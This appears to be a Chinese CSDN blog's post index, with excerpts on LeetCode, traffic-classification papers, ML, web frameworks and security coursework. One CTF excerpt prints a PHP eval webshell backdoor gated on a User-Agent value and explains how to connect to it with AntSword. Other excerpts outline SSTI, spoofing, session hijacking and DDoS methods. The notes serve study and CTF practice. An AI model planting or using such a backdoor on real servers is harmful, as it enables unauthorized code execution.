不会绑马尾的女孩-优快云博客

原创 (待复习9.20) 01--数组

力扣：https://leetcode.cn/problems/find-first-and-last-position-of-element-in-sorted-array/description/解题思路：情况一：target 在数组范围的右边或者左边，例如数组{3, 4, 5}，target为2或者数组{3, 4, 5},target为6，此时应该返回{-1, -1}

2024-09-17 18:24:18 1155

原创读论文：Self-attentive deep learning method for online traffic classification and its interpretability

SAM主要有四个主要组件，包括embedding,the self-attention,the 1D-CNN,和the classifier利用embedding来丰富数据包级输入的表示。然后，使用自注意力机制为输入的每个部分分配不同的注意力权重，以指示每个输入部分的重要性。应用1D-CNN进行进一步的特征表示。最后，在分类器中，将softmax应用于特征并输出预测的类别概率。数据包级输入选择。数据包包含足够的字段，但某些字段（例如，IP校验和，IP地址）是无用的常量或偏差，可能会误导分类。

2023-10-13 11:47:11 318

原创读论文：ByteSGAN: A semi-supervised Generative Adversarial Network for encrypted traffic classification

主要贡献：（1）ByteSGAN可以充分利用少量标记流量样本和大量未标记流量样本来实现良好的性能（2）ByteSGAN不仅可以处理常规流量，也可以处理加密流量（3）ByteSGAN是轻量级分类器，只能消耗SDN-EGW较少计算资源GAN提供了一种无需大量注释的训练数据即可学习深度表示的有前途的方法。他们通过涉及一对网络的竞争过程导出反向传播信号来实现这一目标。首先，本文作者说将ByteSGAN嵌入到网关，但是文中并没有涉及到将SGAN嵌入到SDN edge网关中。

2023-10-11 17:11:06 332

原创读论文：Lightweight Models for Traffic Classification: A Two-Step Distillation Approach

为了确保原模型的准确性，在训练过程中采用了自蒸馏方法，它可以将最深层模块的特征映射、响应和基于关系的知识转移到最浅层模块中，来提高模型的整体性能。为了训练压缩模型，我们使用知识蒸馏，它将软目标知识从预训练好的教师模型（原始模型）提取到压缩模型，以确保其性能与教师模型一样好。在本文中，原始模型首先充当教师模型，压缩后的模型充当学生模型。采用基于两步蒸馏方法的compressed模型，为了解决分类精度和模型复杂度之间的权衡问题，本文首先设计了轻量级模型，然后提出了一种新的训练过程来提高模型的分类精度。

2023-10-10 18:19:33 271

原创通道剪枝channel pruning

论文：Channel Pruning for Accelerating Very Deep Neural Networks论文链接：https://arxiv.org/abs/1707.06168代码地址：https://github.com/yihui-he/channel-pruning这是一篇ICCV2017的文章，关于用通道剪枝channel pruning来做模型加速，通道剪枝是模型压缩和加速领域的一个重要分支。

2023-10-09 19:09:35 2022

原创读论文：Real-Time Encrypted Traffic Classification via Lightweight Neural Networks

提出一种新的轻量级实时流量分类模型。多头注意允许每个数据包在一步中与所有其他数据包交互，并且并行学习不同子空间中的不同交互，大大较少了参数的数量，缩短运行时间·模型自动提取高阶流级和包级特征。通过叠加多头注意块来探索全局水平上的高阶相互作用。此外，将1D-CNN应用于当数据包的特征提取。本文提出一种轻量级模型，主要通过thin module来提取flow level and packet level特征数据集仅包括HTTPS和VPN流量，但不涉及其他加密协议。

2023-10-08 17:31:02 284

原创【读一读论文吧】BERT

沐神论文精读B站地址：https://www.bilibili.com/video/BV1PL411M7eQ/?spm_id_from=333.788paper：https://arxiv.org/pdf/1810.04805.pdf&usg=ALkJrhhzxlCL6yTht2BRmH9atgvKFxHsxQBERT简化了NLP任务的训练，提升了NLP任务的性能。标体1. 标题BERT: Pre-training of Deep Bidirectional Transformers fo

2022-05-23 15:39:46 1600

原创【论文精度】Transformer--Attention Is All You Need

Transformer开创了继MLP、CNN和RNN之后的第四大类模型摘要sequence transduction:序列转录，序列到序列的生成结论这篇文章介绍了transform模型，第一个仅仅使用注意力的序列模型。用multi-headed self-attention替换常用在encoder-decoder的结构循环层recurrent layers...

2022-05-20 16:28:06 1225

原创 Coordinate attention,SE,CBAM

1、SE因为普通卷积难以建模信道关系，SE考虑通道的相互依赖关系增强模型对信息通道的敏感性，同时全局平均池化可以帮助模型捕获全局信息。然而SE只考虑了内部通道信息而忽略了位置信息的重要性。输入X首先经过全局平均池化然后经过全连接层来捕获每个通道的重要性，再经过非线性层也就是使用ReLU激活函数来增加非线性因素，再经过全连接层来捕获每个通道的重要性。最后全连接层的输出用sigmoid归一化加权后和输入X通道乘法。２、CA（ｃｏｏｒｄｉｎａｔｅ　ａｔｔｅｎｔｉｏｎ）主要分为两步，位置信息的

2022-05-03 10:54:09 1230 2

原创激活函数-ReLU,Sigmoid,Leak ReLU,tanh

激活函数ReLUReLU函数会使一部分神经元的输出为0，这样就会造成网络的稀疏性，并且减少参数之间的依赖关系，缓解过拟合的发生。class Relu(): def __init__(self): #mask是由True/False组成的numpy数组 self.mask=None def forward(self,x): #mask将x<=0的地方保存为True，其他的都为False self.mask=(x<=0) out=x.copy() out[self.

2022-05-03 09:36:36 475

原创 BeautifulSoup

beautifulsoupfrom bs4 import BeautifulSoup soup=BeautifulSoup(doc,"html.parser")html="""<html><head><title>The Dormouse's story</title></head><body><p class="title" name="dromouse"><b>The Dormouse's s

2022-05-02 22:29:02 186

原创 Django笔记

1、创建指令创建项目 django-admin startproject MyDjangomanage.py命令行工具__init__.py初始化文件settings.py项目的配置文件urls.py项目的URL设置，网站的地址信息wsgi.py是python应用与web服务器之间的接口，用于Django项目在服务器上的部署和上线，一般不需要修改2、创建项目应用，相当于网站的功能，每个APP代表网站的一个或多个网页，使用python manage.py startapp xxx创建m

2022-05-02 22:27:27 32462

原创知识图谱--笔记

启动:neo4j.bat consoleCQL增：增加一个节点create(n:Person{name:‘我’,age:31})n:创建的节点名称Person:节点标签名称name:节点的属性的名称value:节点的属性的值带有关系属性create(p:Person{name:‘我’,age:“31”})-[:包公程{金额：10000}]->(n:Person{name:“好大哥”,age:“35”})MATCH (e:Customer),(cc:CreditCard) CRE

2022-05-02 22:23:21 1135

原创【论文精读】--ResNet

沐神论文精度：https://www.bilibili.com/video/BV1P3411y7nn/?spm_id_from=pageDriver论文地址：https://openaccess.thecvf.com/content_cvpr_2016/html/He_Deep_Residual_Learning_CVPR_2016_paper.html参考代码：https://github.com/bubbliiiing/classification-pytorch/tree/main/nets1、

2022-04-29 13:28:03 2290 1

原创蓝桥杯--算法

在准备蓝桥杯时做的一些笔记在这里记录一下。#选择排序算法for x in range(n-1): for y in range(x+1,n): if s[x]<s[y]: s[x],s[y]=s[y],s[x]#冒泡排序算法for x in range(n-1): for y in range(n-1-x): if s[y]<s[y+1]: s[y],s[y+1]=s[y+1],s[y]index()可以获取指定元素首次出现的下标count()指定元素在列

2022-04-18 10:16:29 466

原创 pytorch实现yolov4的cam热力图可视化

参考视频：https://www.bilibili.com/video/av799922871/参考代码位置：https://github.com/IDayday/YOLOv4_CAMYOLOv4代码参考博主：https://blog.youkuaiyun.com/weixin_44791964/article/details/106214657CAM利用GAP(Global Average Pooling)替换掉了全连接层。热力图可视化展示：一、修改代码在detect_image函数中，增加返回out

2022-03-31 08:58:37 3147 4

原创 AlexNet论文精读

1、paper的贡献:训练了一个最大的神经网络，然后取得了特别好的结果实现了GPU上性能很高的一个2D的卷积网络有一些新的特性能够提升性能，降低模型的训练时间使用一些方法防止过拟合，使得模型更好模型具有5个卷积层，3个全连接层，得出深度很重要2、数据集对ImageNet中的图片没有做任何的预处理只是进行了简单的剪裁。当时计算机视觉都是将特征抽取出来，在之后的工作中基本上就是将原本的文本或者图片放进去不做任何的特征抽取，通过神经网络完成这部分工作。3、结构（1）卷积层卷积的过程高宽慢

2022-03-06 15:19:19 587

原创计算机网络安全

1、目前流行的操作系统有哪些，各有什么优缺点？操作系统的安全性从哪些方面来考虑呢？Windows:优点：图形化界面，操作便捷易学习。易维护，并且兼容性好，软件数量众多。缺点：稳定性和安全性不如Linux高，更加容易遭受攻击Linux:优点：Linux速度比较快，安全性比windows好，开源。高效灵活。缺点：Linux的操作比较复杂不易入门鸿蒙优点：国产操作系统，稳定安全。更加人性化，易用。适配安卓。缺点：尚在发展之中，许多地方待完善。UNIX优点：UNIX操作系统具有较高的可靠性，良

2021-12-06 00:05:44 5578

原创 windows基线检测

按照Windows基线检查模板检查设置windows安全机制：*windows基线检查选项及风险等级*编号检查选项风险等级适用类型1系统已安装最新的service packⅠ2系统已经安装了最新的安全补丁Ⅰ*本地安全策略检查选项及风险等级*1密码策略：密码必须符合复杂性要求（启用）Ⅱ2密码策略：密码长度的最小值（8）Ⅱ3密码策略：密码最长使用期限（90天）Ⅱ4密码策略：密码最短使用期限

2021-12-04 09:23:21 6297

原创信息隐藏技术笔记

持续更新中二、信息论基础知识2.1 信息与信源统计模型2.1.1信息的基本属性和Shannon信息概念1、信息的“基本属性”是“随机性”2、Shannon将信息定义为"用来消除不确定性的东西"3、信息的度量：应当与符号的不确定性有关2.1.2熵函数及其性质熵函数的基本性质1、对称性熵：只与信源符号的总体统计结构有关不取决于个别符号发生的概率。表明：熵是关于信源总体特性的一种度量。2、非负性3、确定性4、扩展性5、可加性统计独立信源X和Y的联合信源的熵等于分别熵

2021-11-30 15:24:49 644

原创基于mysql8实现数据库安全审计、容灾备份、数据恢复实验

一、数据库主从配置原理：（1）master将数据改变记录到二进制日志中，也就是配置文件log-bin指定的文件（2）Slave通过I/O线程读取master中的binary log events并写入到它的relay log（3）Slave 重做中继日志中的事件，把中继日志中的事件信息一条一条的在本地执行一次，完成数据在本地的存储，从而实现将改变反映到它自己的数据(数据重放)。登录MySQL数据库：mysql -uroot -pUbuntu IP：192.168.0.1291、修改mas

2021-11-30 15:03:57 4381

原创结合Django项目和vue项目

1、因为vue打包出来的页面的静态文件路径为"127.0.0.1:8080/xxx.js";而django的静态文件路径为"127.0.0.1:8080/static/xxx.js".所以在vue项目目录下创建vue.config.jsmodule.exports = { assetsDir: 'static', #指定`build`时,在静态文件上一层添加static目录};2、对vue项目进行打包npm run build,生成一个bist文件夹。此时打开index.html因为静态路

2021-09-10 20:15:34 628

原创 VUE笔记

记录了一些学习过程的笔记一.vue对象的操作1.可以通过一个vue对象操作另一个vue对象var v1=new Vue({ el:'', data:{title:'hello'}, computed:{}});var v2=new Vue({ methods:{ct1:function(){v1.title='hello world';}}})2.vue对象操作另一个vue对象的内容，维度有两个，操作属性、操作方法这些属性是data或computed里定义的3.v

2021-08-06 07:57:56 208

原创 jQuery

在学习jquery过程中记录的一些笔记html和css快速回顾p段落标签div一行一个 span一行多个img图像a超链接类选择器(.) id选择器(#) 通配符选择器(*)(表示有选取页面中所有的元素)font-family字体font-size大小font-weight粗细font-style样式color文本颜色text-align对齐文本text-decoration装饰文本text-indent文本缩进line-height行内距<link rel="styl

2021-08-05 19:44:03 457

原创 CTF刷题

刷题网站:bugku;BUUCTF本文记录了在刷题过程中所学到的知识点坚持每天刷5道题，持续更新坚持就是胜利鸭CTF1、bugku–Simple_SSLI_1根据题目SSLI即服务端模板注入攻击，服务段接收用户输入，将其作为web应用模板的一部分，渲染编译后执行恶意内容，导致敏感信息泄露、代码执行等。直接F12，发现提示in the flask,set a secret_keyflask模板，config是flask模板中的一个全局对象，包含了所有应用程序的配置值。然后在url输入/?fl

2021-08-05 19:39:05 6754

原创网络欺骗实验

1.IP欺骗攻击单向攻击：但是TCP处理程序会在自己认为的异常时刻发送RST包，表示复位用来异常的关闭连接源路由攻击：利用了IP数据包的源路由选择机制来控制数据包转发路径进而监听TCP会话劫持：在一次正常的通信中，攻击者作为第三方插入其中，可以对会话监听，也可以插入其中。不仅可以实现监听，而且可以绕过口令实现口令破解和身份认证方法：1）IP地址伪造技术2）SYN Flood3）TCP序列号猜测技术2、ARP欺骗攻击ARP是根据IP地址获取物理地址(mac)的一个TCP

2021-08-05 19:35:37 1374

原创 DDOS攻击实验

DDos攻击1.拒绝服务攻击Dos2.带宽攻击：以极大的通信量冲击网络3.连通性攻击：以大量的连接请求冲击计算机4.直接攻击ping of deathsyn flood：防御（缩短SYN timeout时间，设置SYN cookie)tcp连接请求洪水攻击UDP风暴攻击5.分布式拒绝服务攻击DDOS6.肉鸡：常指被黑客控制的机器7.拖库，洗库，撞库8.netstat命令用于显示与IP，TCP，UDP和ICMP协议相关的统计数据，一般用于检测本机各端口的网络连接情况9.泪滴攻击

2021-08-05 19:30:23 4578 2

原创创建个人博客的一些命令

本文为学习搭建博客时所记录的一些笔记博客hexo init 初始化博客hexo s 启动本地博客服务hexo n “” 创建新的文章hexo clean清理hexo g生成hexo d推到远端 ---tags: [学习，小白]categories: test---这里的tags和categories就是给文章加上标签和分类...

2021-08-05 19:16:32 97

原创 GIT笔记

在学习GIT过程中所记录的一些笔记GIT1.版本控制本地版本控制集中式版本控制SVN（所有版本数据都存在服务器上）分布式版本控制GIT（每个人都拥有全部的代码，不会因为服务器损坏或者网络问题造成不能工作的情况）2.基本Linux命令学习cd:改变目录cd…回退到上一个目录，直接cd进入默认目录pwd显示当前所在的目录路径touch新建一个文件rm删除一个文件mkdir新建一个目录rm -r删除一个文件夹mv移动文件reset重新初始化终端clear清屏history查看命

2021-08-05 19:15:03 101

原创刷力扣算法--蓝桥杯备战

刷题网站：https://leetcode-cn.com/problems/container-with-most-water/submissions/参考书籍：LeetCode 101：和你一起你轻松刷题（C++）使用语言：python记录刷题过程中的学到的一些知识点–持续更新（每天坚持至少刷三道算法题）坚持就是胜利鸭1、数组两数之和class Solution: def twoSum(self,nums, target): #用len()方法取得nums列表长度

2021-08-05 19:12:25 8412

原创每日一题--一句话木马的利用

用d盾扫描后，发现存在后门，打开.config.php文件、、、<?phpif (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){ eval($_POST[1]);}?>、、、发现这个就是对一句话木马的报头有一个User-Agent限制，改成flag，然后用蚁剑连接就可以了，密码为1...

2021-07-12 12:05:57 304 2

原创爬取古诗文网

针对数据的采集，是通过采用python网络爬虫技术进行采集古诗文网站的网页信息，通过Requests库模拟请求，并使用突破反爬、广度优先与深度优先遍历等策略。首先，看古诗文网页的布局有很多的诗词分类，以爬取唐诗三百首页面为例，页面中诗名是以小标题排列的顺序，点击标题可以看到对应诗经的内容及其注释。所以先爬取该网页上的诗经“目录”区域的所有诗名的链接，并把链接存储到数组中，然后分别访问这些链接，并获取链接中的需要的网页内容。爬虫第一步获取数据过程，使用python中的第三方库requests库，利用req

2021-05-08 23:45:26 3761 1

东南大学自然辩证法复习

空空如也